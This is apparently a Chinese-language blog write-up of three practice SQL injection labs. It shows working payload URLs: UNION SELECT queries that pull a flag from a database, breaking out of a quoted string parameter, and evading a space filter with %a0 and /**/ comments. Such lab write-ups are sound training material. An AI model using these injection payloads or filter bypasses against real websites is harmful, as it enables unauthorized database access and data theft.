SQLI实验

First Post:

Last Update:

Word Count:
412

Read Time:
2 min

SQLI

Env: Chrome + Hackbar

Lab1

http://222.18.158.243:4601/

采用get参数中id存在sql注入。

img

通过输入判断,只回显2行。

输入

1
http://222.18.158.243:4601?id=-1+union+select+1,2,3

回显如下:

1
2
2
3

那么在2,3部分将其flag打印出来

1
http://222.18.158.243:4601?id=-1+union+select+1,2,flag+from+flag

output

1
2
2
wlgf{only_is_a_sql}

Lab2

输入

1
http://222.18.158.243:4602?id=-1

回显sql语句如下:

1
SELECT * FROM `users` WHERE id='-1'

'包围,属于字符型变量。

输入

1
http://222.18.158.243:4602?id=1'+and+'1'='-1

无回显,则构造为假成功。

1
http://222.18.158.243:4602?id=1'+and+'1'='-1'+union+select+'1','2','3

回显

1
2
2
3

在2,3处可以打印flag。

最终payload

1
http://222.18.158.243:4602?id=1'+and+'1'='-1'+union+select+'1',flag,'3'+from+flag+where+'1'='1

sql拼接如下:

1
SELECT * FROM `users` WHERE id='1' and '1'='-1' union select '1',flag,'3' from flag where '1'='1'

回显如下

1
2
wlgf{only_is_a_sql_2
3

Lab3

输入

1
http://222.18.158.243:4603/?id=1

sql语句回显

1
SELECT * FROM `users` WHERE id='1'

输入

1
http://222.18.158.243:4603/?id=5+++++1

sql回显

1
SELECT * FROM `users` WHERE id='51'

发现把空格给过滤了

可以采用:

1
2
3
4
5
6
一、通过注释绕过空格
注释即/**/
通过注释取代空格
eg: or/**/'me'/**/=/**/'isme'
二、通过括号绕过空格
eg: and(1=0)
1
http://222.18.158.243:4603/?id=a'%a0union%a0select%a01,(select%a0flag%a0from%a0sql_db.flag),3%a0a/**/nd%a0'1'='1

ref: https://blog.csdn.net/tony_jiajia/article/details/80574714

绕过ref: https://blog.csdn.net/huanghelouzi/article/details/82995313

打赏点小钱
支付宝 | Alipay
微信 | WeChat